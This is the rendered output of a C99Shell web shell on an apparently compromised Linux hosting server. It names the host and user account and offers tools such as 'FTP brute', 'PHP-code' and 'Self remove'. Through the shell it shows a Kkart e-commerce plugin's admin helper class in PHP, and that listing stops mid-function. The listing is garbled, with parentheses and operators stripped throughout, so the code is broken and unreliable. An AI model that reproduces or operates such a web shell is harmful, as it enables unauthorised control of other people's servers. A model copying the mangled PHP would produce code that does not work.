!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/includes/admin/helper/   drwxr-xr-x
Free 290.99 GB of 429.69 GB (67.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-kkart-helper.php (51.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Kkart Admin Helper
 *
 * @package Kkart\Admin\Helper
 */

use Automattic\Jetpack\Constants;

if ( ! 
defined'ABSPATH' ) ) {
    exit;
}

/**
 * KKART_Helper Class
 *
 * The main entry-point for all things related to the Helper.
 */
class KKART_Helper {
    
/**
     * A log object returned by kkart_get_logger().
     *
     * @var $log
     */
    
public static $log;

    
/**
     * Get an absolute path to the requested helper view.
     *
     * @param string $view The requested view file.
     *
     * @return string The absolute path to the view file.
     */
    
public static function get_view_filename$view ) {
        return 
dirname__FILE__ ) . "/views/$view";
    }

    
/**
     * Loads the helper class, runs on init.
     */
    
public static function load() {
        
self::includes();

        
add_action'current_screen', array( __CLASS__'current_screen' ) );
        
add_action'kkart_helper_output', array( __CLASS__'render_helper_output' ) );
        
add_action'admin_enqueue_scripts', array( __CLASS__'admin_enqueue_scripts' ) );
        
add_action'admin_notices', array( __CLASS__'admin_notices' ) );

        
do_action'kkart_helper_loaded' );
    }

    
/**
     * Include supporting helper classes.
     */
    
protected static function includes() {
        include_once 
dirname__FILE__ ) . '/class-kkart-helper-options.php';
        include_once 
dirname__FILE__ ) . '/class-kkart-helper-api.php';
        include_once 
dirname__FILE__ ) . '/class-kkart-helper-updater.php';
        include_once 
dirname__FILE__ ) . '/class-kkart-helper-plugin-info.php';
        include_once 
dirname__FILE__ ) . '/class-kkart-helper-compat.php';
    }

    
/**
     * Render the helper section content based on context.
     */
    
public static function render_helper_output() {
        
$auth           KKART_Helper_Options::get'auth' );
        
$auth_user_data KKART_Helper_Options::get'auth_user_data' );

        
// Return success/error notices.
        
$notices self::_get_return_notices();

        
// No active connection.
        
if ( empty( $auth['access_token'] ) ) {
            
$connect_url add_query_arg(
                array(
                    
'page'              => 'kkart-addons',
                    
'section'           => 'helper',
                    
'kkart-helper-connect' => 1,
                    
'kkart-helper-nonce'   => wp_create_nonce'connect' ),
                ),
                
admin_url'admin.php' )
            );

            include 
self::get_view_filename'html-oauth-start.php' );
            return;
        }
        
$disconnect_url add_query_arg(
            array(
                
'page'                 => 'kkart-addons',
                
'section'              => 'helper',
                
'kkart-helper-disconnect' => 1,
                
'kkart-helper-nonce'      => wp_create_nonce'disconnect' ),
            ),
            
admin_url'admin.php' )
        );

        
$current_filter self::get_current_filter();
        
$refresh_url    add_query_arg(
            array(
                
'page'              => 'kkart-addons',
                
'section'           => 'helper',
                
'filter'            => $current_filter,
                
'kkart-helper-refresh' => 1,
                
'kkart-helper-nonce'   => wp_create_nonce'refresh' ),
            ),
            
admin_url'admin.php' )
        );

        
// Installed plugins and themes, with or without an active subscription.
        
$woo_plugins self::get_local_woo_plugins();
        
$woo_themes  self::get_local_woo_themes();

        
$site_id                   absint$auth['site_id'] );
        
$subscriptions             self::get_subscriptions();
        
$updates                   KKART_Helper_Updater::get_update_data();
        
$subscriptions_product_ids wp_list_pluck$subscriptions'product_id' );

        foreach ( 
$subscriptions as &$subscription ) {
            
$subscription['active'] = in_array$site_id$subscription['connections'] );

            
$subscription['activate_url'] = add_query_arg(
                array(
                    
'page'                  => 'kkart-addons',
                    
'section'               => 'helper',
                    
'filter'                => $current_filter,
                    
'kkart-helper-activate'    => 1,
                    
'kkart-helper-product-key' => $subscription['product_key'],
                    
'kkart-helper-product-id'  => $subscription['product_id'],
                    
'kkart-helper-nonce'       => wp_create_nonce'activate:' $subscription['product_key'] ),
                ),
                
admin_url'admin.php' )
            );

            
$subscription['deactivate_url'] = add_query_arg(
                array(
                    
'page'                  => 'kkart-addons',
                    
'section'               => 'helper',
                    
'filter'                => $current_filter,
                    
'kkart-helper-deactivate'  => 1,
                    
'kkart-helper-product-key' => $subscription['product_key'],
                    
'kkart-helper-product-id'  => $subscription['product_id'],
                    
'kkart-helper-nonce'       => wp_create_nonce'deactivate:' $subscription['product_key'] ),
                ),
                
admin_url'admin.php' )
            );

            
$subscription['local'] = array(
                
'installed' => false,
                
'active'    => false,
                
'version'   => null,
            );

            
$subscription['update_url'] = admin_url'update-core.php' );

            
$local wp_list_filterarray_merge$woo_plugins$woo_themes ), array( '_product_id' => $subscription['product_id'] ) );

            if ( ! empty( 
$local ) ) {
                
$local                              array_shift$local );
                
$subscription['local']['installed'] = true;
                
$subscription['local']['version']   = $local['Version'];

                if ( 
'plugin' == $local['_type'] ) {
                    if ( 
is_plugin_active$local['_filename'] ) ) {
                        
$subscription['local']['active'] = true;
                    } elseif ( 
is_multisite() && is_plugin_active_for_network$local['_filename'] ) ) {
                        
$subscription['local']['active'] = true;
                    }

                    
// A magic update_url.
                    
$subscription['update_url'] = wp_nonce_urlself_admin_url'update.php?action=upgrade-plugin&plugin=' ) . $local['_filename'], 'upgrade-plugin_' $local['_filename'] );

                } elseif ( 
'theme' == $local['_type'] ) {
                    if ( 
in_array$local['_stylesheet'], array( get_stylesheet(), get_template() ) ) ) {
                        
$subscription['local']['active'] = true;
                    }

                    
// Another magic update_url.
                    
$subscription['update_url'] = wp_nonce_urlself_admin_url'update.php?action=upgrade-theme&theme=' $local['_stylesheet'] ), 'upgrade-theme_' $local['_stylesheet'] );
                }
            }

            
$subscription['has_update'] = false;
            if ( 
$subscription['local']['installed'] && ! empty( $updates$subscription['product_id'] ] ) ) {
                
$subscription['has_update'] = version_compare$updates$subscription['product_id'] ]['version'], $subscription['local']['version'], '>' );
            }

            
$subscription['download_primary'] = true;
            
$subscription['download_url']     = 'https://kkart.com/my-account/downloads/';
            if ( ! 
$subscription['local']['installed'] && ! empty( $updates$subscription['product_id'] ] ) ) {
                
$subscription['download_url'] = $updates$subscription['product_id'] ]['package'];
            }

            
$subscription['actions'] = array();

            if ( 
$subscription['has_update'] && ! $subscription['expired'] ) {
                
$action = array(
                    
/* translators: %s: version number */
                    
'message'      => sprintf__'Version %s is <strong>available</strong>.''kkart' ), esc_html$updates$subscription['product_id'] ]['version'] ) ),
                    
'button_label' => __'Update''kkart' ),
                    
'button_url'   => $subscription['update_url'],
                    
'status'       => 'update-available',
                    
'icon'         => 'dashicons-update',
                );

                
// Subscription is not active on this site.
                
if ( ! $subscription['active'] ) {
                    
$action['message']     .= ' ' __'To enable this update you need to <strong>activate</strong> this subscription.''kkart' );
                    
$action['button_label'] = null;
                    
$action['button_url']   = null;
                }

                
$subscription['actions'][] = $action;
            }

            if ( 
$subscription['has_update'] && $subscription['expired'] ) {
                
$action = array(
                    
/* translators: %s: version number */
                    
'message' => sprintf__'Version %s is <strong>available</strong>.''kkart' ), esc_html$updates$subscription['product_id'] ]['version'] ) ),
                    
'status'  => 'expired',
                    
'icon'    => 'dashicons-info',
                );

                
$action['message']     .= ' ' __'To enable this update you need to <strong>purchase</strong> a new subscription.''kkart' );
                
$action['button_label'] = __'Purchase''kkart' );
                
$action['button_url']   = $subscription['product_url'];

                
$subscription['actions'][] = $action;
            } elseif ( 
$subscription['expired'] && ! empty( $subscription['master_user_email'] ) ) {
                
$action = array(
                    
'message' => sprintf__'This subscription has expired. Contact the owner to <strong>renew</strong> the subscription to receive updates and support.''kkart' ) ),
                    
'status'  => 'expired',
                    
'icon'    => 'dashicons-info',
                );

                
$subscription['actions'][] = $action;
            } elseif ( 
$subscription['expired'] ) {
                
$action = array(
                    
'message'      => sprintf__'This subscription has expired. Please <strong>renew</strong> to receive updates and support.''kkart' ) ),
                    
'button_label' => __'Renew''kkart' ),
                    
'button_url'   => 'https://kkart.com/my-account/my-subscriptions/',
                    
'status'       => 'expired',
                    
'icon'         => 'dashicons-info',
                );

                
$subscription['actions'][] = $action;
            }

            if ( 
$subscription['expiring'] && ! $subscription['autorenew'] ) {
                
$action = array(
                    
'message'      => __'Subscription is <strong>expiring</strong> soon.''kkart' ),
                    
'button_label' => __'Enable auto-renew''kkart' ),
                    
'button_url'   => 'https://kkart.com/my-account/my-subscriptions/',
                    
'status'       => 'expired',
                    
'icon'         => 'dashicons-info',
                );

                
$subscription['download_primary'] = false;
                
$subscription['actions'][]        = $action;
            } elseif ( 
$subscription['expiring'] ) {
                
$action = array(
                    
'message'      => sprintf__'This subscription is expiring soon. Please <strong>renew</strong> to continue receiving updates and support.''kkart' ) ),
                    
'button_label' => __'Renew''kkart' ),
                    
'button_url'   => 'https://kkart.com/my-account/my-subscriptions/',
                    
'status'       => 'expired',
                    
'icon'         => 'dashicons-info',
                );

                
$subscription['download_primary'] = false;
                
$subscription['actions'][]        = $action;
            }

            
// Mark the first action primary.
            
foreach ( $subscription['actions'] as $key => $action ) {
                if ( ! empty( 
$action['button_label'] ) ) {
                    
$subscription['actions'][ $key ]['primary'] = true;
                    break;
                }
            }
        }

        
// Break the by-ref.
        
unset( $subscription );

        
// Installed products without a subscription.
        
$no_subscriptions = array();
        foreach ( 
array_merge$woo_plugins$woo_themes ) as $filename => $data ) {
            if ( 
in_array$data['_product_id'], $subscriptions_product_ids ) ) {
                continue;
            }

            
$data['_product_url'] = '#';
            
$data['_has_update']  = false;

            if ( ! empty( 
$updates$data['_product_id'] ] ) ) {
                
$data['_has_update'] = version_compare$updates$data['_product_id'] ]['version'], $data['Version'], '>' );

                if ( ! empty( 
$updates$data['_product_id'] ]['url'] ) ) {
                    
$data['_product_url'] = $updates$data['_product_id'] ]['url'];
                } elseif ( ! empty( 
$data['PluginURI'] ) ) {
                    
$data['_product_url'] = $data['PluginURI'];
                }
            }

            
$data['_actions'] = array();

            if ( 
$data['_has_update'] ) {
                
$action = array(
                    
/* translators: %s: version number */
                    
'message'      => sprintf__'Version %s is <strong>available</strong>. To enable this update you need to <strong>purchase</strong> a new subscription.''kkart' ), esc_html$updates$data['_product_id'] ]['version'] ) ),
                    
'button_label' => __'Purchase''kkart' ),
                    
'button_url'   => $data['_product_url'],
                    
'status'       => 'expired',
                    
'icon'         => 'dashicons-info',
                );

                
$data['_actions'][] = $action;
            } else {
                
$action = array(
                    
/* translators: 1: subscriptions docs 2: subscriptions docs */
                    
'message'      => sprintf__'To receive updates and support for this extension, you need to <strong>purchase</strong> a new subscription or consolidate your extensions to one connected account by <strong><a href="%1$s" title="Sharing Docs">sharing</a> or <a href="%2$s" title="Transferring Docs">transferring</a></strong> this extension to this connected account.''kkart' ), 'https://docs.kkart.com/document/managing-kkart-com-subscriptions/#section-10''https://docs.kkart.com/document/managing-kkart-com-subscriptions/#section-5' ),
                    
'button_label' => __'Purchase''kkart' ),
                    
'button_url'   => $data['_product_url'],
                    
'status'       => 'expired',
                    
'icon'         => 'dashicons-info',
                );

                
$data['_actions'][] = $action;
            }

            
$no_subscriptions$filename ] = $data;
        }

        
// Update the user id if it came from a migrated connection.
        
if ( empty( $auth['user_id'] ) ) {
            
$auth['user_id'] = get_current_user_id();
            
KKART_Helper_Options::update'auth'$auth );
        }

        
// Sort alphabetically.
        
uasort$subscriptions, array( __CLASS__'_sort_by_product_name' ) );
        
uasort$no_subscriptions, array( __CLASS__'_sort_by_name' ) );

        
// Filters.
        
self::get_filters_counts$subscriptions ); // Warm it up.
        
self::_filter$subscriptionsself::get_current_filter() );

        
// We have an active connection.
        
include self::get_view_filename'html-main.php' );
        return;
    }

    
/**
     * Get available subscriptions filters.
     *
     * @return array An array of filter keys and labels.
     */
    
public static function get_filters() {
        
$filters = array(
            
'all'              => __'All''kkart' ),
            
'active'           => __'Active''kkart' ),
            
'inactive'         => __'Inactive''kkart' ),
            
'installed'        => __'Installed''kkart' ),
            
'update-available' => __'Update Available''kkart' ),
            
'expiring'         => __'Expiring Soon''kkart' ),
            
'expired'          => __'Expired''kkart' ),
            
'download'         => __'Download''kkart' ),
        );

        return 
$filters;
    }

    
/**
     * Get counts data for the filters array.
     *
     * @param array $subscriptions The array of all available subscriptions.
     *
     * @return array Filter counts (filter => count).
     */
    
public static function get_filters_counts$subscriptions null ) {
        static 
$filters;

        if ( isset( 
$filters ) ) {
            return 
$filters;
        }

        
$filters array_fill_keysarray_keysself::get_filters() ), );
        if ( empty( 
$subscriptions ) ) {
            return array();
        }

        foreach ( 
$filters as $key => $count ) {
            
$_subs $subscriptions;
            
self::_filter$_subs$key );
            
$filters$key ] = count$_subs );
        }

        return 
$filters;
    }

    
/**
     * Get current filter.
     *
     * @return string The current filter.
     */
    
public static function get_current_filter() {
        
$current_filter 'all';
        
$valid_filters  array_keysself::get_filters() );

        if ( ! empty( 
$_GET['filter'] ) && in_arraywp_unslash$_GET['filter'] ), $valid_filters ) ) {
            
$current_filter kkart_cleanwp_unslash$_GET['filter'] ) );
        }

        return 
$current_filter;
    }

    
/**
     * Filter an array of subscriptions by $filter.
     *
     * @param array  $subscriptions The subscriptions array, passed by ref.
     * @param string $filter The filter.
     */
    
private static function _filter( &$subscriptions$filter ) {
        switch ( 
$filter ) {
            case 
'active':
                
$subscriptions wp_list_filter$subscriptions, array( 'active' => true ) );
                break;

            case 
'inactive':
                
$subscriptions wp_list_filter$subscriptions, array( 'active' => false ) );
                break;

            case 
'installed':
                foreach ( 
$subscriptions as $key => $subscription ) {
                    if ( empty( 
$subscription['local']['installed'] ) ) {
                        unset( 
$subscriptions$key ] );
                    }
                }
                break;

            case 
'update-available':
                
$subscriptions wp_list_filter$subscriptions, array( 'has_update' => true ) );
                break;

            case 
'expiring':
                
$subscriptions wp_list_filter$subscriptions, array( 'expiring' => true ) );
                break;

            case 
'expired':
                
$subscriptions wp_list_filter$subscriptions, array( 'expired' => true ) );
                break;

            case 
'download':
                foreach ( 
$subscriptions as $key => $subscription ) {
                    if ( 
$subscription['local']['installed'] || $subscription['expired'] ) {
                        unset( 
$subscriptions$key ] );
                    }
                }
                break;
        }
    }

    
/**
     * Enqueue admin scripts and styles.
     */
    
public static function admin_enqueue_scripts() {
        
$screen       get_current_screen();
        
$screen_id    $screen $screen->id '';
        
$kkart_screen_id KKART_SCREEN_PREFIX;

        if ( 
$kkart_screen_id '_page_kkart-addons' === $screen_id && isset( $_GET['section'] ) && 'helper' === $_GET['section'] ) {
            
wp_enqueue_style'kkart-helper'KKART()->plugin_url() . '/assets/css/helper.css', array(), Constants::get_constant'KKART_VERSION' ) );
            
wp_style_add_data'kkart-helper''rtl''replace' );
        }
    }

    
/**
     * Various success/error notices.
     *
     * Runs during admin page render, so no headers/redirects here.
     *
     * @return array Array pairs of message/type strings with notices.
     */
    
private static function _get_return_notices() {
        
$return_status = isset( $_GET['kkart-helper-status'] ) ? kkart_cleanwp_unslash$_GET['kkart-helper-status'] ) ) : null;
        
$notices       = array();

        switch ( 
$return_status ) {
            case 
'activate-success':
                
$product_id   = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
                
$subscription self::_get_subscriptions_from_product_id$product_id );
                
$notices[]    = array(
                    
'type'    => 'updated',
                    
'message' => sprintf(
                        
/* translators: %s: product name */
                        
__'%s activated successfully. You will now receive updates for this product.''kkart' ),
                        
'<strong>' esc_html$subscription['product_name'] ) . '</strong>'
                    
),
                );
                break;

            case 
'activate-error':
                
$product_id   = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
                
$subscription self::_get_subscriptions_from_product_id$product_id );
                
$notices[]    = array(
                    
'type'    => 'error',
                    
'message' => sprintf(
                        
/* translators: %s: product name */
                        
__'An error has occurred when activating %s. Please try again later.''kkart' ),
                        
'<strong>' esc_html$subscription['product_name'] ) . '</strong>'
                    
),
                );
                break;

            case 
'deactivate-success':
                
$product_id   = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
                
$subscription self::_get_subscriptions_from_product_id$product_id );
                
$local        self::_get_local_from_product_id$product_id );

                
$message sprintf(
                    
/* translators: %s: product name */
                    
__'Subscription for %s deactivated successfully. You will no longer receive updates for this product.''kkart' ),
                    
'<strong>' esc_html$subscription['product_name'] ) . '</strong>'
                
);

                if ( 
$local && is_plugin_active$local['_filename'] ) && current_user_can'activate_plugins' ) ) {
                    
$deactivate_plugin_url add_query_arg(
                        array(
                            
'page'                        => 'kkart-addons',
                            
'section'                     => 'helper',
                            
'filter'                      => self::get_current_filter(),
                            
'kkart-helper-deactivate-plugin' => 1,
                            
'kkart-helper-product-id'        => $subscription['product_id'],
                            
'kkart-helper-nonce'             => wp_create_nonce'deactivate-plugin:' $subscription['product_id'] ),
                        ),
                        
admin_url'admin.php' )
                    );

                    
$message sprintf(
                        
/* translators: %1$s: product name, %2$s: deactivate url */
                        
__'Subscription for %1$s deactivated successfully. You will no longer receive updates for this product. <a href="%2$s">Click here</a> if you wish to deactivate the plugin as well.''kkart' ),
                        
'<strong>' esc_html$subscription['product_name'] ) . '</strong>',
                        
esc_url$deactivate_plugin_url )
                    );
                }

                
$notices[] = array(
                    
'message' => $message,
                    
'type'    => 'updated',
                );
                break;

            case 
'deactivate-error':
                
$product_id   = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
                
$subscription self::_get_subscriptions_from_product_id$product_id );
                
$notices[]    = array(
                    
'type'    => 'error',
                    
'message' => sprintf(
                        
/* translators: %s: product name */
                        
__'An error has occurred when deactivating the subscription for %s. Please try again later.''kkart' ),
                        
'<strong>' esc_html$subscription['product_name'] ) . '</strong>'
                    
),
                );
                break;

            case 
'deactivate-plugin-success':
                
$product_id   = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
                
$subscription self::_get_subscriptions_from_product_id$product_id );
                
$notices[]    = array(
                    
'type'    => 'updated',
                    
'message' => sprintf(
                        
/* translators: %s: product name */
                        
__'The extension %s has been deactivated successfully.''kkart' ),
                        
'<strong>' esc_html$subscription['product_name'] ) . '</strong>'
                    
),
                );
                break;

            case 
'deactivate-plugin-error':
                
$product_id   = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
                
$subscription self::_get_subscriptions_from_product_id$product_id );
                
$notices[]    = array(
                    
'type'    => 'error',
                    
'message' => sprintf(
                        
/* translators: %1$s: product name, %2$s: plugins screen url */
                        
__'An error has occurred when deactivating the extension %1$s. Please proceed to the <a href="%2$s">Plugins screen</a> to deactivate it manually.''kkart' ),
                        
'<strong>' esc_html$subscription['product_name'] ) . '</strong>',
                        
admin_url'plugins.php' )
                    ),
                );
                break;

            case 
'helper-connected':
                
$notices[] = array(
                    
'message' => __'You have successfully connected your store to Kkart.com''kkart' ),
                    
'type'    => 'updated',
                );
                break;

            case 
'helper-disconnected':
                
$notices[] = array(
                    
'message' => __'You have successfully disconnected your store from Kkart.com''kkart' ),
                    
'type'    => 'updated',
                );
                break;

            case 
'helper-refreshed':
                
$notices[] = array(
                    
'message' => __'Authentication and subscription caches refreshed successfully.''kkart' ),
                    
'type'    => 'updated',
                );
                break;
        }

        return 
$notices;
    }

    
/**
     * Various early-phase actions with possible redirects.
     *
     * @param object $screen WP screen object.
     */
    
public static function current_screen$screen ) {
        
$kkart_screen_id KKART_SCREEN_PREFIX;

        if ( 
$kkart_screen_id '_page_kkart-addons' !== $screen->id ) {
            return;
        }

        if ( empty( 
$_GET['section'] ) || 'helper' !== $_GET['section'] ) {
            return;
        }

        if ( ! empty( 
$_GET['kkart-helper-connect'] ) ) {
            return 
self::_helper_auth_connect();
        }

        if ( ! empty( 
$_GET['kkart-helper-return'] ) ) {
            return 
self::_helper_auth_return();
        }

        if ( ! empty( 
$_GET['kkart-helper-disconnect'] ) ) {
            return 
self::_helper_auth_disconnect();
        }

        if ( ! empty( 
$_GET['kkart-helper-refresh'] ) ) {
            return 
self::_helper_auth_refresh();
        }

        if ( ! empty( 
$_GET['kkart-helper-activate'] ) ) {
            return 
self::_helper_subscription_activate();
        }

        if ( ! empty( 
$_GET['kkart-helper-deactivate'] ) ) {
            return 
self::_helper_subscription_deactivate();
        }

        if ( ! empty( 
$_GET['kkart-helper-deactivate-plugin'] ) ) {
            return 
self::_helper_plugin_deactivate();
        }
    }

    
/**
     * Initiate a new OAuth connection.
     */
    
private static function _helper_auth_connect() {
        if ( empty( 
$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'connect' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_auth_connect' );
            
wp_die'Could not verify nonce' );
        }

        
$redirect_uri add_query_arg(
            array(
                
'page'             => 'kkart-addons',
                
'section'          => 'helper',
                
'kkart-helper-return' => 1,
                
'kkart-helper-nonce'  => wp_create_nonce'connect' ),
            ),
            
admin_url'admin.php' )
        );

        
$request KKART_Helper_API::post(
            
'oauth/request_token',
            array(
                
'body' => array(
                    
'home_url'     => home_url(),
                    
'redirect_uri' => $redirect_uri,
                ),
            )
        );

        
$code wp_remote_retrieve_response_code$request );

        if ( 
200 !== $code ) {
            
self::logsprintf'Call to oauth/request_token returned a non-200 response code (%d)'$code ) );
            
wp_die'Something went wrong' );
        }

        
$secret json_decodewp_remote_retrieve_body$request ) );
        if ( empty( 
$secret ) ) {
            
self::logsprintf'Call to oauth/request_token returned an invalid body: %s'wp_remote_retrieve_body$request ) ) );
            
wp_die'Something went wrong' );
        }

        
/**
         * Fires when the Helper connection process is initiated.
         */
        
do_action'kkart_helper_connect_start' );

        
$connect_url add_query_arg(
            array(
                
'home_url'     => rawurlencodehome_url() ),
                
'redirect_uri' => rawurlencode$redirect_uri ),
                
'secret'       => rawurlencode$secret ),
            ),
            
KKART_Helper_API::url'oauth/authorize' )
        );

        
wp_redirectesc_url_raw$connect_url ) );
        die();
    }

    
/**
     * Return from Kkart.com OAuth flow.
     */
    
private static function _helper_auth_return() {
        if ( empty( 
$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'connect' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_auth_return' );
            
wp_die'Something went wrong' );
        }

        
// Bail if the user clicked deny.
        
if ( ! empty( $_GET['deny'] ) ) {
            
/**
             * Fires when the Helper connection process is denied/cancelled.
             */
            
do_action'kkart_helper_denied' );
            
wp_safe_redirectadmin_url'admin.php?page=kkart-addons&section=helper' ) );
            die();
        }

        
// We do need a request token...
        
if ( empty( $_GET['request_token'] ) ) {
            
self::log'Request token not found in _helper_auth_return' );
            
wp_die'Something went wrong' );
        }

        
// Obtain an access token.
        
$request KKART_Helper_API::post(
            
'oauth/access_token',
            array(
                
'body' => array(
                    
'request_token' => wp_unslash$_GET['request_token'] ), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
                    
'home_url'      => home_url(),
                ),
            )
        );

        
$code wp_remote_retrieve_response_code$request );

        if ( 
200 !== $code ) {
            
self::logsprintf'Call to oauth/access_token returned a non-200 response code (%d)'$code ) );
            
wp_die'Something went wrong' );
        }

        
$access_token json_decodewp_remote_retrieve_body$request ), true );
        if ( ! 
$access_token ) {
            
self::logsprintf'Call to oauth/access_token returned an invalid body: %s'wp_remote_retrieve_body$request ) ) );
            
wp_die'Something went wrong' );
        }

        
KKART_Helper_Options::update(
            
'auth',
            array(
                
'access_token'        => $access_token['access_token'],
                
'access_token_secret' => $access_token['access_token_secret'],
                
'site_id'             => $access_token['site_id'],
                
'user_id'             => get_current_user_id(),
                
'updated'             => time(),
            )
        );

        
// Obtain the connected user info.
        
if ( ! self::_flush_authentication_cache() ) {
            
self::log'Could not obtain connected user info in _helper_auth_return' );
            
KKART_Helper_Options::update'auth', array() );
            
wp_die'Something went wrong.' );
        }

        
self::_flush_subscriptions_cache();
        
self::_flush_updates_cache();

        
/**
         * Fires when the Helper connection process has completed successfully.
         */
        
do_action'kkart_helper_connected' );

        
// Enable tracking when connected.
        
if ( class_exists'KKART_Tracker' ) ) {
            
update_option'kkart_allow_tracking''yes' );
            
KKART_Tracker::send_tracking_datatrue );
        }

        
// If connecting through in-app purchase, redirects back to Kkart.com
        // for product installation.
        
if ( ! empty( $_GET['wccom-install-url'] ) ) {
            
wp_redirectwp_unslash$_GET['wccom-install-url'] ) );
            exit;
        }

        
wp_safe_redirect(
            
add_query_arg(
                array(
                    
'page'             => 'kkart-addons',
                    
'section'          => 'helper',
                    
'kkart-helper-status' => 'helper-connected',
                ),
                
admin_url'admin.php' )
            )
        );
        die();
    }

    
/**
     * Disconnect from Kkart.com, clear OAuth tokens.
     */
    
private static function _helper_auth_disconnect() {
        if ( empty( 
$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'disconnect' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_auth_disconnect' );
            
wp_die'Could not verify nonce' );
        }

        
/**
         * Fires when the Helper has been disconnected.
         */
        
do_action'kkart_helper_disconnected' );

        
$redirect_uri add_query_arg(
            array(
                
'page'             => 'kkart-addons',
                
'section'          => 'helper',
                
'kkart-helper-status' => 'helper-disconnected',
            ),
            
admin_url'admin.php' )
        );

        
KKART_Helper_API::post(
            
'oauth/invalidate_token',
            array(
                
'authenticated' => true,
            )
        );

        
KKART_Helper_Options::update'auth', array() );
        
KKART_Helper_Options::update'auth_user_data', array() );

        
self::_flush_subscriptions_cache();
        
self::_flush_updates_cache();

        
wp_safe_redirect$redirect_uri );
        die();
    }

    
/**
     * User hit the Refresh button, clear all caches.
     */
    
private static function _helper_auth_refresh() {
        if ( empty( 
$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'refresh' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_auth_refresh' );
            
wp_die'Could not verify nonce' );
        }

        
/**
         * Fires when Helper subscriptions are refreshed.
         */
        
do_action'kkart_helper_subscriptions_refresh' );

        
$redirect_uri add_query_arg(
            array(
                
'page'             => 'kkart-addons',
                
'section'          => 'helper',
                
'filter'           => self::get_current_filter(),
                
'kkart-helper-status' => 'helper-refreshed',
            ),
            
admin_url'admin.php' )
        );

        
self::_flush_authentication_cache();
        
self::_flush_subscriptions_cache();
        
self::_flush_updates_cache();

        
wp_safe_redirect$redirect_uri );
        die();
    }

    
/**
     * Active a product subscription.
     */
    
private static function _helper_subscription_activate() {
        
$product_key = isset( $_GET['kkart-helper-product-key'] ) ? kkart_cleanwp_unslash$_GET['kkart-helper-product-key'] ) ) : '';
        
$product_id  = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;

        if ( empty( 
$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'activate:' $product_key ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_subscription_activate' );
            
wp_die'Could not verify nonce' );
        }

        
// Activate subscription.
        
$activation_response KKART_Helper_API::post(
            
'activate',
            array(
                
'authenticated' => true,
                
'body'          => wp_json_encode(
                    array(
                        
'product_key' => $product_key,
                    )
                ),
            )
        );

        
$activated wp_remote_retrieve_response_code$activation_response ) === 200;
        
$body      json_decodewp_remote_retrieve_body$activation_response ), true );

        if ( ! 
$activated && ! empty( $body['code'] ) && 'already_connected' === $body['code'] ) {
            
$activated true;
        }

        if ( 
$activated ) {
            
/**
             * Fires when the Helper activates a product successfully.
             *
             * @param int    $product_id Product ID being activated.
             * @param string $product_key Subscription product key.
             * @param array  $activation_response The response object from wp_safe_remote_request().
             */
            
do_action'kkart_helper_subscription_activate_success'$product_id$product_key$activation_response );
        } else {
            
/**
             * Fires when the Helper fails to activate a product.
             *
             * @param int    $product_id Product ID being activated.
             * @param string $product_key Subscription product key.
             * @param array  $activation_response The response object from wp_safe_remote_request().
             */
            
do_action'kkart_helper_subscription_activate_error'$product_id$product_key$activation_response );
        }

        
// Attempt to activate this plugin.
        
$local self::_get_local_from_product_id$product_id );
        if ( 
$local && 'plugin' == $local['_type'] && current_user_can'activate_plugins' ) && ! is_plugin_active$local['_filename'] ) ) {
            
activate_plugin$local['_filename'] );
        }

        
self::_flush_subscriptions_cache();
        
self::_flush_updates_cache();

        
$redirect_uri add_query_arg(
            array(
                
'page'                 => 'kkart-addons',
                
'section'              => 'helper',
                
'filter'               => self::get_current_filter(),
                
'kkart-helper-status'     => $activated 'activate-success' 'activate-error',
                
'kkart-helper-product-id' => $product_id,
            ),
            
admin_url'admin.php' )
        );

        
wp_safe_redirect$redirect_uri );
        die();
    }

    
/**
     * Deactivate a product subscription.
     */
    
private static function _helper_subscription_deactivate() {
        
$product_key = isset( $_GET['kkart-helper-product-key'] ) ? kkart_cleanwp_unslash$_GET['kkart-helper-product-key'] ) ) : '';
        
$product_id  = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;

        if ( empty( 
